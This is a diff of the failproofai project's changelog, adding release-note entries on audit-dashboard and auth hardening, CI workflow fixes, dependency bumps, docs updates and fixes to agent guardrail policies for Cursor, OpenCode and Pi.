- Fix the wrong site URL embedded in every `/audit` social-share template. `app/audit/_components/share-templates.ts` and `app/audit/_components/share-dock.tsx` had `SITE_URL = "https://failproof.ai"` (and one bare `failproof.ai` mention in the 4th X template) — the actual marketing domain is `befailproof.ai`, so every shared post linked to a dead URL. Updates both `SITE_URL` constants + the bare mention to `befailproof.ai`, and tightens `__tests__/audit/share-templates.test.ts` to assert `befailproof.ai` so a future regression to `failproof.ai` fails (#425).
+
- Stop the `/audit` ShareDock's "share on X" / "share on LinkedIn" buttons from opening the Windows OS share dialog on desktop Chromium / Edge. `lib/share-card.ts` `shareCardNative()` now early-returns `false` on non-mobile devices (detected via `navigator.userAgentData.mobile` with a UA-string fallback for Safari / Firefox + a touch-points check for iPadOS 13+) so the existing clipboard + `x.com/intent/tweet` / `linkedin.com/sharing/share-offsite` fallback runs instead. On mobile, the system share sheet still fires as before because it actually surfaces the X / LinkedIn apps as targets. +1 test for the desktop short-circuit, existing happy-path tests opt into mobile via `navigator.userAgentData.mobile = true` (#425).
+
- Fix the `bump-platform-submodule.yml` workflow's `Bump failproofai/oss gitlink and push` step, which failed on the merge of #397 with `printf: write error: Broken pipe`. The step's `SUBJECT_LINE=$(printf '%s\n' "${COMMIT_SUBJECT:-Manual trigger}" | head -n 1)` raced under `set -o pipefail`: `head -n 1` closed the pipe after the first line of the squash-merge commit body, `printf` died with SIGPIPE on the next write, and the pipeline propagated the non-zero exit. Replace the pipe with pure bash parameter expansion (`SUBJECT_LINE=${COMMIT_SUBJECT:-Manual trigger}; SUBJECT_LINE=${SUBJECT_LINE%%$'\n'*}`) so no subprocess pipe is involved and `pipefail` has nothing to fail on.
+
- Drop the literal `━━` escape sequences that were rendering as visible text inside the three `.stat-cell` eyebrow labels on the `/policies` activity tab (`app/policies/hooks-client.tsx:297,302,307`). JSX text content doesn't interpret `\uXXXX` escapes — those only work inside JS string literals — so the railroad-track glyph was painting as eight raw characters. The eyebrow rule + green accent color already give the captions enough visual weight; the decorative glyph was net negative.
+
- Tier-C polish + efficiency pass from the deferred-review plan. **`app/audit/_components/audit-dashboard.tsx`** — `detectorsTriggered` + `missing` were two independent O(N) scans over `result.results` per render; merged into a single `useMemo` keyed on `result`. The scroll handler now coalesces events through `requestAnimationFrame` so reading `scrollHeight` (a layout-reflow trigger) fires at most once per frame instead of dozens per second during a fast scroll. **`app/audit/_components/policies-section.tsx`** — wrapped `buildPolicyCards(result)` in `useMemo`; previously it rebuilt a `Map + Set + sort` aggregation on every parent re-render. **`app/audit/_components/identity-section.tsx`** — wrapped `pickArchetypeVariant(archetypeKey, seed)` in `useMemo`; previously re-hashed the seed string and ran four `xmur3` mix passes per axis on every IdentitySection state change (the share buttons toggle `downloadState` which rerenders us 4× per click). **`app/audit/_components/return-section.tsx`** — added a 5s throttle to the focus + visibilitychange handlers' `refreshStatus()` calls so rapid alt-tabbing doesn't thrash `/api/auth/status` (two disk reads each); also extracted a `` helper that takes a `showSetReminder` slot so the authed and anon branches stop duplicating the `[ re-audit now ]` + `[ install policies ]` buttons (they had already drifted on `marginTop` styling). **`bin/failproofai.mjs`** — `policy remove ` no longer threads `--beta` into the manager call as `betaOnly`; the manager only used `betaOnly` for telemetry tagging (`removal_mode: "beta_policies"`), so passing `--beta` to `policy remove` was a mislabel that produced ghost "beta removal" events in PostHog without affecting which policy was actually removed. The flag is dropped from this path so `beta_only: false` is emitted unconditionally — match the actual semantics. No tests changed; 1769 still pass.
+
- Tier-B refactor pass from the deferred-review plan. Consolidates the duplication the prior review surfaced before it can cause another drift (the prior PR already shipped `REQUEST_TIMEOUT_MS=15s` on the client and `=10s` on the server with no comment tying them together). **`lib/fetch-with-timeout.ts`** — new shared module exporting `fetchWithTimeout(input, init, timeoutMs)` and an `isAbortError(err)` predicate. Replaces three byte-equivalent implementations: the client-side helpers in `app/audit/_components/auth-dialog.tsx` + `rerun-button.tsx` (15s default) and the inline `err.name === "AbortError" || err.name === "TimeoutError"` check inside `lib/auth/api-server-client.ts`'s server-side wrapper (which keeps its `trackEvent`-on-timeout side-effect but delegates the predicate). Also pulls `app/audit/_components/return-section.tsx` onto the same `isAbortError` predicate. **`lib/atomic-write.ts`** — new shared module exporting `writeJsonAtomically(filePath, value, { mode, dirMode })`. Replaces the near-identical temp-file-then-rename dances in `lib/auth/auth-store.ts` (for `auth.json` + `next-audit.json`) and the inline version in `src/audit/dashboard-cache.ts` (added in the prior PR). Single helper means any future on-disk JSON writer gets the same crash-safety + perm-reassertion logic without copy-pasting. **`app/audit/_components/rerun-button.tsx`** — deleted the unused `` React component (exported but never rendered by anyone — the rerun UI is integrated into `return-section.tsx` and `empty-state.tsx` which call `triggerRun` directly). The deletion also drops the stale `lucide-react` / `usePostHog` / `cn` imports and a duplicate `audit_rerun_failed` capture branch that would never fire from this file. **`lib/telemetry.ts`** — `initTelemetry()` now wraps its **entire** body in a single outer try/catch with a "never throws" guarantee documented on the function. Removed the now-redundant per-route `try { await initTelemetry(); } catch {}` wrapper from `app/api/auth/login-verify/route.ts` (and the file comment now points future readers at the helper-level contract so they don't re-add a defensive wrapper). Net delta: ~30 LOC deleted across the touched files plus 2 new shared modules.
+
- Tier-A correctness pass from the deferred-review plan. **`lib/auth/auth-store.ts`** — `getValidAccessToken` and `whoAmI`'s post-401 retry now dedup in-flight refresh-token exchanges through a `Map>`. Without it, two concurrent callers (the `/api/auth/status` poll + an in-flight `/api/auth/reminder` POST is the canonical case) could each call `refreshAccessToken` with the same refresh token; the api-server treats the second as token-replay and revokes every session for the user (silent logout). **`app/api/audit/_state.ts`** — the run-lock now auto-expires after 5 min (matches the rerun-button's `MAX_POLL_MS`), so a SIGKILL / OOM / uncaught throw between `tryAcquireRun` and `releaseRun` can no longer 409 every subsequent POST until process restart. The header comment honestly calls out the remaining multi-worker limitation (cross-process locking needs external storage; the OSS dashboard expects a single worker). **`src/audit/cache.ts`** — added a `CACHE_SCHEMA_VERSION = 2` constant included in the cache-key check; pre-PR per-transcript cache entries are now rejected on read so the new v2 `TranscriptAuditResult` fields (`cwd`, `eventsScanned`) get populated correctly instead of silently rendering as `cwd: undefined` / `eventsScanned: 0`. **`lib/auth/api-server-client.ts`** — `decodeJwt` now strictly validates header and payload against `/^[A-Za-z0-9_-]+={0,2}$/` before calling `Buffer.from(s, "base64url")`; the legacy `Buffer.from` silently truncates illegal chars rather than throwing, so a corrupted JWT could decode to garbage that happens to parse as JSON with a numeric `exp` field and produce synthetic "valid" claims. Also added a manual `AbortSignal.any` fallback in `timeoutSignal()` so the caller-supplied `extra` signal isn't dropped on runtimes without native `AbortSignal.any` (Node < 20.3, older Bun). **`docs/docs.json`** — added `cli/auth` and `cli/audit` to the Mintlify CLI nav group so both the new auth subcommand doc and the rewritten audit doc are reachable from the sidebar (the docs existed on disk but weren't discoverable). **+10 tests:** `__tests__/lib/auth-store-refresh.test.ts` (3 — concurrent refresh dedup, retry on failure, sequential calls), `__tests__/api/audit-state.test.ts` (5 — acquire/release contract, auto-expiry, multi-release no-op), `__tests__/lib/api-server-client.test.ts` (2 — illegal-base64url rejection, empty-payload rejection). 1769 tests pass total.
+
- Max-effort code-review hardening pass on the same branch. **`src/audit/findings.ts:293`** — corrected `failproof policy add ${slug}` → `failproofai policy add ${slug}` so the "fix" install command on every finding card is actually copy-pasteable. **`app/layout.tsx:25`** — fixed `icons.icon` pointer from the deleted `/icon.png` to the live `/public/icon.svg` so the dashboard favicon stops 404'ing. **`lib/auth/auth-store.ts:246`** — `whoAmI()`'s 401-retry catch now only wipes `auth.json` on an unambiguous 401, matching `getValidAccessToken`'s contract; a transient timeout / 5xx during the post-refresh `/me` no longer throws away the freshly-written valid tokens. **`app/api/auth/{login-request,login-verify}/route.ts`** — `AuthApiError` from a client-side timeout has `status: 0`, which `NextResponse.json(..., { status: 0 })` rejects with `RangeError`; both routes now map any out-of-range status to 504 so the browser sees a real status code instead of a 500 stack trace. **`src/audit/index.ts:311`** — the per-transcript scan error fallback now emits the v2-required `cwd: ""` and `eventsScanned: 0` fields so errored transcripts don't silently drop from `projectsScanned` / `eventsScanned` aggregates. **`src/audit/dashboard-cache.ts:73`** — `writeDashboardCache` now writes atomically (temp file → rename) so a concurrent `readDashboardCache` from the 1s status poll can't observe a torn JSON file; the directory is created with mode `0700` and `DASHBOARD_CACHE_SCHEMA_VERSION` is bumped to `2` (matching the `AuditResult.version 1→2` bump) so stale v1 caches are properly rejected to the empty state instead of rendering as "0 tool calls". **`app/api/auth/reminder/route.ts:117`** — added an upper-bound guard on `body.at` (rejects values > `now + MAX_OFFSET_DAYS`) that catches the common `Date.now()` (ms) vs unix-seconds foot-gun — would otherwise persist a year-55000 reminder. **`lib/auth/api-server-client.ts:97`** — `parseError` now clamps `Retry-After` to `[0, 86400]` so a misbehaving server can't tell the dashboard to "wait -3600s" or "wait 1e20s". **`app/audit/_components/auth-dialog.tsx:144`** — `requestCode` accepts an `{ isResend: true }` opt; on resend failures it now shows the error inline on the OTP step instead of bouncing the dialog back to the email step (the previously-sent code may still be usable). **`app/audit/_components/return-section.tsx:175`** — removed a duplicate `audit_set_reminder_clicked` capture that fired one line after `audit_reminder_cta_clicked` with the same property bag (was splitting funnels). **`app/audit/_components/audit-dashboard.tsx:226`** — renamed `const window = inferWindow(params)` → `scopeWindow` so future maintenance can't accidentally hit `"30d".location` via the shadowed global. **`__tests__/lib/api-server-client.test.ts:122`** — the `cancelReminder` test now also asserts the `Authorization: Bearer ` header so a regression there can't ship silently. **`docs/cli/audit.mdx`** — replaced the docs for the removed `failproofai audit` CLI subcommand with a description of the `/audit` dashboard page (the audit functionality moved to the dashboard in this PR but the doc still told users to run `failproofai audit`). **`docs/cli/auth.mdx`** — updated the canonical examples from the legacy `auth --login` / `--logout` / `--whoami` flag form to the current subcommand form (`auth login` / `logout` / `whoami`), with a note that the legacy form is still accepted as an alias.
+
- CodeRabbit-flagged hardening pass across `/audit` + `/auth`. `app/api/auth/login-verify/route.ts` wraps `initTelemetry()` in its own `try/catch` so a telemetry-init failure can no longer turn a valid OTP verify into a 500. Both the dashboard route and `src/auth/cli.ts` drop `user_email` from the `audit_user_identity_linked` event payload — `user_id` + `local_random_id` are sufficient for anon→authed session stitching and shipping raw PII to analytics was avoidable. `bin/failproofai.mjs`'s typo-suggestion `primary` array now includes `policy` alongside `policies` / `auth` / `--*` so closest-match no longer steers users at the wrong subcommand. `src/audit/dashboard-cache.ts` explicitly rejects `params: null` / `result: null` during structural validation (`typeof null === "object"` was letting those slip through to the renderer). `app/audit/_components/return-section.tsx`'s `persistReminder()` now (1) flips local auth state back to `anon` on a 401 from `/api/auth/reminder` so the UI doesn't get stuck on an authed panel whose actions silently no-op, and (2) wraps the fetch in a 10s `AbortController` so a hung route can't permanently disable the `[ set a reminder ]` CTA. `app/audit/_components/rerun-button.tsx`'s `triggerRun` + status poll now use a `fetchWithTimeout(15s)` wrapper so a single stalled request can't hang the poll loop indefinitely; per-request timeouts surface as `RerunError.kind === "timeout"` distinct from `"network"`. `app/audit/_components/auth-dialog.tsx`'s `requestCode` + `verifyCode` both wrap their fetches in `fetchWithTimeout(15s)` and surface `AbortError` as a user-readable "request timed out" string so a hung api-server can no longer wedge the modal in `busy` state.
+
- Audit + auth hardening sweep across the dashboard and CLI surfaces. `lib/auth/auth-store.ts` now writes `auth.json` and `next-audit.json` atomically (temp-file-then-rename with the same `0600` perm enforcement on both temp and final paths) so a concurrent write or crash can no longer leave a half-written / truncated session file behind. `lib/auth/api-server-client.ts` puts a 10s `AbortSignal.timeout` on every `/v0/auth/*` and `/v0/reminders` fetch — a wedged DNS resolver, a hung api-server, or a stalled refresh no longer pins the CLI or a dashboard request indefinitely; timeouts now surface as `AuthApiError(code: "timeout")` so callers can render the same "could not reach the api-server" copy already wired for transport failures. `src/auth/cli.ts` `runLogin()` now treats `auth.json` as stale when its `refresh_expires_at` claim has lapsed locally — instead of bouncing the user with "already signed in" against a file the server would reject on the first /me, it wipes the stale file and walks through the OTP flow again (telemetry now carries `replaced_stale: true` on the resulting `_login_started` event). `app/api/auth/reminder/route.ts` distinguishes empty body (defaults to a 7-day offset) from malformed JSON / non-object body (now 400 with a `validation_error` code instead of silently coercing to `{}` and writing a default-offset reminder). `app/api/audit/run/route.ts` likewise rejects `null`, arrays, and primitives in the request body with a 400 instead of letting `sanitize(null)` 500 — guards both the JSON.parse path and the post-parse shape check. `app/audit/_components/rerun-button.tsx` now `throw`s a `RerunError` on POST failure / network failure / poll-loop timeout so the button can render a distinct "rerun failed — retry" pink-border state for 4s instead of pretending the run completed; `triggerRun` is now typed as `Promise` that explicitly throws, so the EmptyState CTA can adopt the same UX. `app/audit/_components/run-progress.tsx` caps the fake-progress bar at 90% and swaps the last-stage detail to "finishing up…" so a run that genuinely takes 30s no longer paints 4/4 + 100% at the 16s mark. `app/audit/_components/identity-section.tsx` LinkedIn-share copy "every key policy is live" now requires both `grade === "A"` AND `missing === 0` (previously any A-grade triggered the verbatim "every key policy is live" copy even when there were unenabled prescribed policies). `src/audit/dashboard-cache.ts` adds an explicit `schemaVersion` field on the cached entry; entries written by older code versions are now rejected as null instead of being rendered against the wrong shape. `assets/audit/archetypes.jsx` `Sigil()` normalizes an unknown archetypeKey once at the top so the index lookup uses the same safe key as the sigil grid (previously the sigil lookup had a fallback but `ARCHETYPES[archetypeKey].index` crashed on unknown keys). `app/audit/_components/score-section.tsx` drops the `useMemo` around `pointsToNext` that tripped `react-hooks/preserve-manual-memoization` — replaced with a plain `pointsToNextFor(score)` scan of 5 thresholds.
+
- Treat GitHub `neutral` check-run conclusions as non-failing in the `require-ci-green-before-stop` policy (e.g. Socket Security: Pull Request Alerts when the head branch is from an outside contributor and Socket can't process it). Previously the policy treated anything other than `success` / `skipped` / `cancelled` as failing, producing false-positive Stop blocks on PRs whose only "non-green" check was an explicit `neutral` (#410).
+
- Fix the `bump-platform-submodule.yml` workflow's first post-merge push, which failed with `fatal: could not read Username for 'https://github.com'`. The `persist-credentials: false` hardening from #394 left the cross-repo `git push`/`fetch` unauthenticated, and the inline `Authorization: bearer …` extraheader only authenticates GitHub's REST API — git-over-HTTPS smart-protocol expects Basic auth with `x-access-token:`. Switch to a base64-encoded Basic header (matching `actions/checkout`'s own internal extraheader format) so the push and the rebase-and-retry fetch in the loop both authenticate (#395).
+
- Remove orphan `exospheresmall` token from the Next.js proxy matcher in `proxy.ts` — no asset by that name exists in the repo.
+
- Restore `FailproofAI` org casing in `package.json` `homepage`, `repository.url`, and `bugs.url` (was lowercased to `failproofai/failproofai` during the org rename). npm provenance verification compares the field byte-for-byte against `${{ github.repository }}` (`FailproofAI/failproofai`) and rejected `0.0.11-beta.1` publish with `422 Error verifying sigstore provenance bundle: Failed to validate repository information`. GitHub URL routing is case-insensitive so this only affected provenance verification, not link resolution.
+
- Dashboard `/policies` activity-tab subheading: replace the hardcoded "Policy evaluations for Claude" with a dynamic list of installed CLIs ("Policy evaluations across Claude Code, Cursor"), collapsing to "across N agents" when 4 or more are installed and falling back to "Policy evaluations" when none are. Reads from the existing `getHooksConfigAction()` payload — no new server work. The text was a leftover from when failproofai only supported Claude Code and was inaccurate against the now-7-CLI surface (Claude, Codex, Copilot, Cursor, OpenCode, Pi, Gemini) (#358).
### Dependencies
- Add `@mdx-js/mdx` as a dev dependency, used by the new `validate:mdx` docs parse check (#455).
+
- Consolidate the open Dependabot bumps #436–#445 into this single PR, each landing at the exact version its PR proposed: `next` 16.2.7 → 16.2.9 (#436), `eslint` 10.4.1 → 10.5.0 (#437), `@tailwindcss/postcss` 4.3.0 → 4.3.1 (#438), `tailwindcss` 4.3.0 → 4.3.1 (#439), `@anthropic-ai/sdk` 0.102.0 → 0.104.2 (#440, the one bump that also moves a `package.json` range, `^0.102.0` → `^0.104.2`), `vitest` 4.1.8 → 4.1.9 (#441), `lucide-react` 1.17.0 → 1.18.0 (#442), `@tanstack/react-virtual` 3.14.2 → 3.14.3 (#443), `posthog-node` 5.36.5 → 5.37.1 (#444), and `eslint-config-next` 16.2.7 → 16.2.9 (#445). The ten superseded PRs are closed in favour of this one (#446).
+
- Add `html-to-image@^1.11.13` for the audit-poster PNG export. Replaces (but does not remove) `html2canvas` — the latter remains for any non-audit screenshot path still using it (#435).
+
- Reconcile `bun.lock` with the pinned `@types/node` / `@types/react` / typescript versions so CI's `bun install --frozen-lockfile` step succeeds (#434).
+
- Swap the Vitest DOM environment from `happy-dom` to `jsdom` (`vitest.config.mts`, `package.json`, 15 `docs/*/testing.mdx`). happy-dom is single-maintainer and had a 2024 critical CVE; jsdom has 6 maintainers, ~7× the weekly downloads, and a perfect Snyk maintenance score. Test suite (1691 tests across 82 files) stays green on jsdom (#419).
+
- Bump `tailwindcss` 4.2.4 → 4.3.0 (#357)
+
- Bump `react` 19.2.5 → 19.2.6 (#357)
+
- Bump `react-dom` 19.2.5 → 19.2.6 (#357)
### Tests
@@ -785,24 +1215,43 @@ never "blocked".
### Docs
- Point every "Docs" landing link at `https://docs.befailproof.ai/introduction` (the Mintlify landing page) instead of a bare root that doesn't resolve to a page: the `failproofai --help` LINKS banner and the `dev` / `start` launch banner (were `https://befailproof.ai`), the dashboard "Reach Us" → Documentation entry (was `https://docs.befailproof.ai/`), and the README docs badge (English + 14 translations, was a bare `https://docs.befailproof.ai`). Deep page links (e.g. `https://docs.befailproof.ai/built-in-policies`) are unchanged (#461).
+
- Replace the community Slack invite with Discord (`https://discord.gg/2zjBZP7yQJ`) everywhere it's user-facing: the `failproofai --help` LINKS banner, the dashboard "Reach Us" dropdown, and the README community badge (English + 14 translations). The Slack *webhook notification example* (`examples/policies-notification.js`) is intentionally left as-is — it's a feature integration, not a community link.
+
- Reword the `/audit` invite card ("Share with friends" / "wanna know how your friends' agents score?") and grammar-pass the X/LinkedIn share templates (article/adverb/coordination/comma-splice fixes only — no behavioral or structural change).
+
- Document the `failproofai audit` command and `npx -y failproofai audit` usage in `docs/cli/audit.mdx`, and refresh the `docs/dashboard.mdx` Audit section to the current poster flow (#453).
+
- Point the docs community anchor (`docs.json`) and the CLI launch banner at the Discord server instead of the Slack invite (#453).
+
- Update `docs/dashboard.mdx`'s `### Audit` section to describe the new 5-section flow (poster + strengths + quirks + how to improve + come back better), replacing the prior 6-section description (identity + show off + strengths + score+leaderboard + findings + prescribed policies+return loop). Calls out the html-to-image swap so the documented behaviour matches what users see when they click `download poster` (#435).
+
- Update `docs/dashboard.mdx`'s description of the `come back better` perks card to document the new `invite a friend` flow (modal → `/api/audit/invite` → upstream `/v0/invite` → one email per recipient with sender Cc'd) — replacing the prior "progress bar + invite a friend CTA" description (#435).
+
- Update `docs/dashboard.mdx` and `docs/cli/audit.mdx` to reflect the 7-day TTL on both audit caches and the new top-of-page `[ re-audit ]` bar (last-audit timestamp, amber "expires in Xh" chip in the final 24h of the window, sticky pink progress strip during the run with `RerunError.kind`-keyed copy on failure, soft-refresh on success instead of `window.location.reload()`). The Caches section in `docs/cli/audit.mdx` is reworded so `cachedAt` is described as TTL metadata (not part of the cache key, which stays `(mtime, size, engineVersion, detectorVersion)`). The Findings example command in `docs/dashboard.mdx` is fixed from `failproof policy add` to the correct `failproofai policy add`. The 14 translated mirrors (`docs/{zh,pt-br,it,he,hi,…}/...`) will pick the changes up via the existing translation job (#428).
+
- Document that contributors must build the project before the in-repo dev hooks work — the hooks resolve the `failproofai` import against the compiled `dist/index.js`, so a missing or stale `dist/` produces `Cannot find package 'failproofai'` hook errors. Adds a "Build before the in-repo dev hooks will work" section to `CONTRIBUTING.md` (with the fast `dist/index.js`-only build command for iterating on policies) and a build-first callout to the README `Contributing` section (#426).
+
- Extend `docs/cli/auth.mdx` with a "Persistent re-audit reminder" section covering the new `~/.failproofai/next-audit.json` file and the `GET / POST / DELETE /api/auth/reminder` dashboard endpoint that backs the `/audit` `[ set a reminder ]` CTA — including the file shape, the per-email scoping rule, and the 7-day default offset.
+
- Document the new `failproofai auth --login | --logout | --whoami` subcommand in a dedicated `docs/cli/auth.mdx` page (mirrors the style of `cli/audit.mdx`: usage block, sign-in / sign-out / whoami sections, on-disk `auth.json` shape, env-var table, and a short troubleshooting list for the common `Could not reach the api-server` / `Rate limited` / `Code rejected` cases). Add an Authentication section to `docs/cli/environment-variables.mdx` covering `FAILPROOF_API_URL` (override the api-server base URL) and `FAILPROOFAI_AUTH_DIR` (override where `auth.json` is stored). i18n mirrors left for the translation-sync workflow.
+
- Add `docs/.vale.ini` and a `Mintlify` Vocab accept-list to suppress noisy `Mintlify Validation (exosphere) - vale-spellcheck` CI failures. Disables `Vale.Spelling` on the 14 translated language subdirs (`ar/`, `de/`, …, `zh/`) and `i18n/`, since running an English dictionary over auto-translated content produces only noise; keeps spellcheck active on the canonical English `*.{md,mdx}` files with a project Vocab covering brand names (`failproofai`, `Claude`, `Codex`, …), CLI tooling (`npx`, `bunx`, `gcloud`, `systemctl`, …), and Claude Code event names (`PreToolUse`, `SessionStart`, …) (#410).
+
- Update the README logo (EN + 14 translated READMEs) from `logo-wordmark.png` to the new `fa_updated_full.svg` wordmark served on befailproof.ai (#387).
+
- Change the README supply-chain badge from the live OSV-Scanner workflow-status badge (`supply chain: passing`) to a static `supply chain: secure` badge, still linked to the workflow runs (#393).
+
- Add a Bitcount Prop Single font template under `templates/bitcount-font/` (next/font loader + framework-agnostic CSS with tunable knobs) capturing the befailproof.ai title treatment for reuse. Bundles a self-hosted static instance (`bitcount-prop-single.woff2`, wght 417 + ELSH 55 baked in) so the rounded-square shape renders consistently on every device, avoiding Google Fonts' CDN serving a static default-instance to mobile user-agents (where `font-variation-settings: "ELSH" 55` silently no-ops and the title renders as round dots) (#390).
+
- Document the new first-run prompt in the README and `docs/introduction.mdx` quickstart snippets (calling out that `failproofai policies --install` is now optional — running bare `failproofai` will offer to do it), and add a new "First-run prompt" section to `docs/cli/environment-variables.mdx` for `FAILPROOFAI_NO_FIRST_RUN=1`. Chinese mirror and the 14 translated env-vars files left for the translation-sync workflow.
+
- Rename GitHub org URLs across `package.json` metadata, README CI badge (EN + 14 translated READMEs), CONTRIBUTING, in-app "Star us" banners (`bin/failproofai.mjs`, `scripts/launch.ts`, navbar, reach-developers component), Mintlify `docs/docs.json`, and 30 translated docs (`package-aliases.mdx` issues link + `examples.mdx` repo-tree link) to reflect the `exospherehost` → `failproofai` org rename. X social handle in `docs/docs.json` updated from `x.com/exospherehost` to `x.com/failproofai`.
+
- SEO and copy pass on the docs landing page (`docs/introduction.mdx`): rewrite the 84-char generic meta description into a tighter, keyword-bearing line naming the 39 built-in policies and key failure modes (loops, secret leaks, destructive tool calls); seed the page body with the missing search keywords (`AI failure handling`, `error recovery`, `LLM reliability`) by reframing the lede; expand the CLI list to the actual 7-CLI surface; correct the stale `26 built-in policies` card to the current `39`; and drop em dashes from the page body and card subtitles for a cleaner read. Also corrects the same stale `26` count in `docs/architecture.mdx` (both the Builtin policies section and the file tree comment) (#366).
+
- Swap the docs header logo to the freshly-uploaded FailproofAI brand PNGs (`logo/Failproof_AI_logo_light.png` for light-mode UI, `logo/Failproof_AI_logo.png` for dark-mode UI). Replaces the previous Exosphere PNGs and the older stock `light.svg` / `dark.svg` wordmarks, both of which were removed from `docs/logo/`. `docs.json`'s `logo.light` and `logo.dark` paths updated accordingly (#366).
+
- Refresh the docs favicon: replace the old `.ico` with a new FailproofAI F-mark `docs/favicon.ico` (32x32, 32-bit). An intermediate attempt to use `docs/icon.svg` was reverted because Mintlify did not render the SVG favicon in the live preview; the SVG asset is removed (#366).
## 0.0.10 — 2026-05-10
@@ -832,16 +1281,22 @@ never "blocked".
### Fixes
- `scripts/launch.ts`: drop the dashboard-startup ASCII wordmark entirely. Every iteration (the original 10-row pixel-block banner, the 6-row trim, and the colored half-block render of the brand PNG) read poorly in standard terminals — too tall, vertically stretched, or just visual noise. Replace with a plain-text `failproof ai` title and a `📦 Version: ` line padded to the same column as the existing `⭐ Star us:` / `📖 Docs:` / `💬 Slack:` lines, so version and URLs form one cleanly-aligned block. Removes `scripts/generate-banner.ts`, `scripts/banner.generated.ts`, `assets/wordmark/source.png`, the `pngjs` + `@types/pngjs` devDeps, and `__tests__/scripts/banner.test.ts` that were added earlier in this branch's history (#338).
+
- Read full session UUID from each Gemini JSONL's metadata header at project-page session-listing time (`lib/gemini-projects.ts`), so links route to a valid `[sessionId]` segment instead of the 8-hex filename prefix that the session detail route's `UUID_RE` check rejects (404). Hooks-section links were already correct because hook stdin carries the full UUID; this aligns the projects-section with that path (#336).
+
- Canonicalize OpenCode and Pi tool-input arg keys so the path-checking builtin policies actually fire on `read` / `write` / `edit` tool calls. OpenCode delivers args as `filePath` / `oldString` / `newString` / `replaceAll`; Pi delivers `path`. The failproofai builtins read `ctx.toolInput.file_path`, so the shape mismatch silently no-op'd `block-read-outside-cwd` (OpenCode), `block-env-files`, and `block-secrets-write` for both CLIs — letting an OpenCode session read paths outside its CWD without any deny, and letting Pi sessions write to `.env` / SSH-key paths unchecked. Note: `block-read-outside-cwd` already worked on Pi via an existing `tool_input.path` fallback at `src/hooks/builtin-policies.ts:796`, so only `block-env-files` and `block-secrets-write` were affected on Pi. Mirrors the `OPENCODE_TOOL_MAP` / `PI_TOOL_MAP` pattern from PR #293 with two new per-tool maps keyed by canonical PascalCase tool name: `OPENCODE_TOOL_INPUT_MAP` (Read / Write / Edit) and `PI_TOOL_INPUT_MAP` (Read / Write / Edit, top-level `path` only — Pi's nested `edits[{oldText,newText}]` array isn't a flat key rename). Both maps are mirrored inline in their respective shims so `.opencode/plugins/failproofai.mjs` and `pi-extension/index.ts` stay self-contained; MCP `mcp_*` and any unmapped tool pass through unchanged. Existing OpenCode users must regenerate their shim via `failproofai policies --install --cli opencode` to pick up the fix; Pi users must reinstall via `failproofai policies --install --cli pi` (#337).
+
- Route OpenCode project pages by encoded cwd (`encodeFolderName(worktree)`) instead of opencode's project name / basename, fixing the dashboard `/project/` 404 for OpenCode-only sessions and merging same-cwd OpenCode + other-CLI rows on the Projects page (#335).
+
- `.failproofai/policies/workflow-policies.mjs`: drop the `## Unreleased` section; new `release-prep-check` policy + updated `changelog-check` instruct the agent to put entries under a dated `## — ` heading so each PR ships release-ready, and all four workflow policies now anchor command-phrase matches to shell boundaries to avoid false-positives from HEREDOC bodies (#335).
## 0.0.10-beta.9 — 2026-05-09
### Features
- Restyle dashboard to match the failproofai brand (near-black canvas, pink primary `#e4587d`, Geist Mono, wordmark navbar) and drop light mode entirely (#332).
+
- `scripts/launch.ts`: redesign the dashboard-startup ASCII banner to mirror the hosted PNG wordmark — hand-crafted chunky pixel-block lowercase "failproof ai" compressed with Unicode 2x2 quadrant block characters (▖▗▘▙▚▛▜▝▞▟ + ▀ ▄ █ ▌ ▐) and horizontally scaled 4:3 so the full wordmark fits in ~75 cols × ~10 rows (clean on any standard ≥80-col terminal), with a plain-text fallback for narrower windows. Also drops the "Using default .claude projects path: …" log line at startup — it printed unconditionally on every dashboard launch and added no signal (#322).
+
- Remove the undocumented `--projects-path ` / `-p ` CLI flag from `scripts/parse-script-args.ts` and the corresponding plumbing in `scripts/launch.ts` (custom-path branch + log line + spawn-env override). Custom Claude project folders can still be pointed at via the `CLAUDE_PROJECTS_PATH` environment variable, which `lib/paths.ts:getClaudeProjectsPath` already honors. `docs/cli/dashboard.mdx` updated to reflect the env-var-only path; tests in `__tests__/scripts/parse-script-args.test.ts` trimmed to drop the 6 cases that exercised the removed flag (#322).
### Fixes
@@ -864,9 +1319,13 @@ never "blocked".
### Fixes
- Make `require-*-before-stop` policies actually enforce on Cursor Agent CLI (and add `SubagentStop` parity). Verified empirically: a `stop` hook emitting Cursor's `{permission: "deny", user_message, agent_message}` flat shape is silently ignored — that shape is honored on tool events only, and on Stop the agent stops cleanly without retry. Per https://cursor.com/docs/hooks the only force-retry channel for `stop` / `subagentStop` is `{followup_message: ""}` on stdout (exit 0), with the text auto-submitted as the next user message (capped at `loop_limit`, default 5). New `cli === "cursor" && eventType in {Stop, SubagentStop}` arm inside the Cursor deny branch in `src/hooks/policy-evaluator.ts` emits that shape ahead of the existing flat-shape return for tool events, mirroring the Cursor Stop instruct branch already at `:336` (which had used `{followup_message}` correctly since #245), the Copilot Stop branch added in #299 at `:279`, and the Gemini AfterAgent branch at `:188`. Without this arm, all 5 `require-*-before-stop` builtins (commit / push / PR / no-conflicts / CI-green) were observation-only on Cursor — exact same failure mode as Copilot pre-#299. Also adds `subagentStop` to `CURSOR_HOOK_EVENT_TYPES` + `CURSOR_EVENT_MAP` so **custom** policies subscribing to `SubagentStop` are reachable from Cursor subagent boundaries (Cursor's `subagentStop` is a sibling of `stop`, same payload + response contract); the instruct branch at `:336` is widened to match both events for parity. The 5 `require-*-before-stop` builtins still match `Stop` only by design — they are session-completion gates (commit / push / PR / conflicts / CI), not subagent-return gates — so the SubagentStop widening does not change builtin behavior. Caveat: Cursor Cloud Agent VMs do NOT run `stop` / `subagentStop` hooks at all (forum-confirmed at ) — this fix only covers local Cursor sessions; failproofai cannot enforce Stop policies in Cloud Agent runs. New unit tests pin the Cursor Stop and SubagentStop deny / instruct response shapes (4 tests across `policy-evaluator.test.ts`); new e2e regression in `cursor-integration.e2e.test.ts` confirms `require-commit-before-stop` against a dirty real-git fixture round-trips to the `{followup_message}` shape; existing data-driven `writeHookEntries` and `removeHooksFromFile` tests in `integrations.test.ts` auto-extend to `subagentStop` via iteration over `CURSOR_HOOK_EVENT_TYPES`. Updated `CLAUDE.md` Cursor section with a verified Stop block semantics table and the Cloud Agents caveat.
+
